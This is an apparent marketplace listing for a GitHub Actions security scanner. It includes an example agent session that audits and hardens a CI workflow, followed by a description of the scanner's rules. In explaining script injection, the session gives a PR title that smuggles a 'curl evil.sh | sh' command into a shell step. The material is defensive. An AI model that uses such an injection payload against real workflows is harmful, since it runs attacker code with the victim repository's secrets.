- Home
- Skills
- DevOps & Cloud
- GitHub Actions Hardener
Works with the AI Agents you already use
GitHub Actions Hardener
In March 2025 the tags of a popular action, tj-actions/changed-files, were re-pointed to malicious code that dumped CI secrets into public logs across thousands of repositories.
$12
GitHub Actions Hardener
Example session with this skill installed
Audit .github/workflows/ci.yml for security problems and fix everything you safely can. Show me the score before and after.
- Read your context and instructions
- Compiled the github actions hardener
Summary
ci.yml started at
0/100 (grade F) with 26 findings, including three ways for a stranger to steal your secrets. After the fixes below it re-scans at
100/100 (grade A) with 0 findings. Two items need you: rotating a leaked key and confirming the trigger change.
Before
| Severity | Count | Rules |
|---|---|---|
| Critical | 5 | GHA001 script injection (x3), GHA002 pwn request, GHA008 hardcoded AWS key |
| High | 5 | GHA006 write-all (x2), GHA009 unsafe commands, GHA003 unpinned third-party action and reusable workflow |
| Medium | 11 | unpinned GitHub actions, dead upload-artifact v3, checkout v3 on Node 16, persisted credentials, curl | bash, self-hosted runner on PR trigger, secrets: inherit, ubuntu-20.04 |
| Low | 5 | no timeouts (x2), no concurrency, no npm cache, ::set-output |
The three that matter most
Pwn request (line 16). The workflow runs on pull_request_target, which has secrets and a write token, and then checks out github.event.pull_request.head.sha. Any fork PR runs its own build scripts with your credentials.
Fix: switched the trigger to pull_request. Nothing in this workflow needs base-repo privileges, so no workflow_run split was required.
2.
Script injection (lines 24, 25, 45). ${{ github.event.pull_request.title }}, ${{ github.head_ref }} and ${{ github.event.comment.body }} were pasted into shell and JavaScript. A PR titled "; curl evil.sh | sh; # would execute.
Fix: moved each into env: and read it as "$TITLE", "$HEAD_REF" and process.env.COMMENT.
3.
Hardcoded AWS key (line 35). Fix: replaced with ${{ secrets.AWS_ACCESS_KEY_ID }}.
Action for you: revoke and rotate this key in AWS now; it is still in git history.
What changed
$ python scripts/gha_audit.py fix .
Changed 8 line(s):
ci.yml:13 job 'build': timeout-minutes: 30
ci.yml:38 job 'comment': timeout-minutes: 30
ci.yml:17 actions/checkout@v3 -> a37ce9120846
ci.yml:20 actions/setup-node@v4 -> 49933ea5288c
ci.yml:29 tj-actions/changed-files@v44 -> 2d756ea4c53f
ci.yml:30 actions/upload-artifact@v3 -> ff15f0306b3f
ci.yml:44 actions/github-script@v7 -> f28e40c7f34b
ci.yml:51 could not resolve org/shared/.github/workflows/release.yml@main (left unchanged)
Then by hand, following each finding's recipe:
| Area | Change |
|---|---|
| Permissions | write-all replaced by contents: read at the top; the comment job gets pull-requests: write only |
| Checkout | upgraded to v4, persist-credentials: false |
| Artifacts | upload-artifact v3 (shut down) to v4, re-pinned |
| Runners | ubuntu-20.04 (retired) to ubuntu-24.04; comment moved off self-hosted |
| Install script | download, verify SHA-256, then run, instead of curl | bash |
| Secrets | secrets: inherit replaced by the one secret the release workflow uses |
| Private workflow | org/shared release workflow pinned to its commit SHA by re-running pin with a GH_TOKEN that can read that private repo |
| Cost | concurrency group with cancel-in-progress on PRs, cache: npm |
| Output | ::set-output replaced by $GITHUB_OUTPUT; ACTIONS_ALLOW_UNSECURE_COMMANDS removed |
After
GitHub Actions Hardener 1.0.0: 1 file(s), 0 finding(s)
critical=0 high=0 medium=0 low=0
Score 100/100 (grade A)
Next steps
- Rotate the AWS key.
- Add
references/ci-template.ymlso new workflows are checked on every PR, and enable Dependabot forgithub-actionsto keep the SHAs current.
Connects securely to your tools. The creator never sees your data.
About this skill
In March 2025 the tags of a popular action, tj-actions/changed-files, were re-pointed to malicious code that dumped CI secrets into public logs across thousands of repositories. Every repo that used @v44 instead of a commit SHA ran it. Most workflows still have that problem, plus a few worse ones.
GitHub Actions Hardener gives your agent a deterministic scanner for .github/workflows, then has it explain each risk and apply the fixes you approve. Findings come from code, not guesses, so the same workflow always gets the same report.
What it catches (19 rules)
Critical
- Script injection: PR titles, branch names, issue and comment bodies expanded into
run:or github-script, which lets anyone who opens a PR run commands with your secrets. - Pwn requests:
pull_request_targetorworkflow_runjobs that check out and run fork code with a write token. - Hardcoded secrets: AWS keys, GitHub tokens, OpenAI-style keys, Slack and Stripe tokens, private keys.
Supply chain and privilege
- Third-party and GitHub actions not pinned to a commit SHA, and Docker images without a digest
permissions: write-allor no permissions block at all, with least-privilege suggestions worked out from each job's steps (releases, PR comments, OIDC, Pages, GHCR, SARIF upload)- Checkout leaving the token in
.git/config,secrets: inherit,curl | sh, self-hosted runners on PR triggers, unsafe workflow commands
Reliability and cost
- Shut-down action versions (artifact v3, cache v3, Node 16 actions) and retired runner images
- Deprecated
::set-output, jobs with no timeout (default 360 minutes), no concurrency cancelling, and dependency caching left off
What it fixes for you
pinrewrites everyuses: owner/repo@v4to its 40-character commit SHA and keeps# v4as a comment, so Dependabot can still upgrade it.fixaddstimeout-minutesto every job and pins in one pass, with--dry-runto preview.- Your agent applies the rest (injection, permissions, pwn-request splits) using step-by-step recipes, then re-scans to prove the score went up.
Fits into CI
- Text, JSON and SARIF output; findings show up in GitHub's Security tab and as PR annotations.
- Exit codes for gating (
--fail-on high), plus a ready-to-use, already-pinned workflow template. - 0 to 100 score with an A to F grade, so you can track hardening over time.
Tested on real repos
Validated against the workflows of Flask, Requests and FastAPI with false-positive tuning (it knows setup-uv and actions/cache already cache). Ships with vulnerable and hardened example workflows so you can see every rule fire.
Requirements
Python 3.9+ and pip install pyyaml. Scanning is fully offline. Pinning calls the public GitHub API; set GH_TOKEN for higher rate limits.
Static analysis only. Cannot see org-level settings or environment protections. Does not verify if pinned SHAs belong to the official repository vs a fork.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before any payment.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill goes through the trust checks below.
Security scanned
Checked by our 8-point scan before listing
Fresh listing
Recently published to Agensi
Money-back guarantee
Doesn't do what its page promises? You get your money back.
Trust & safety
Security scan
Security scan passed 2 days ago
Requires
Permissions
Allowed Hosts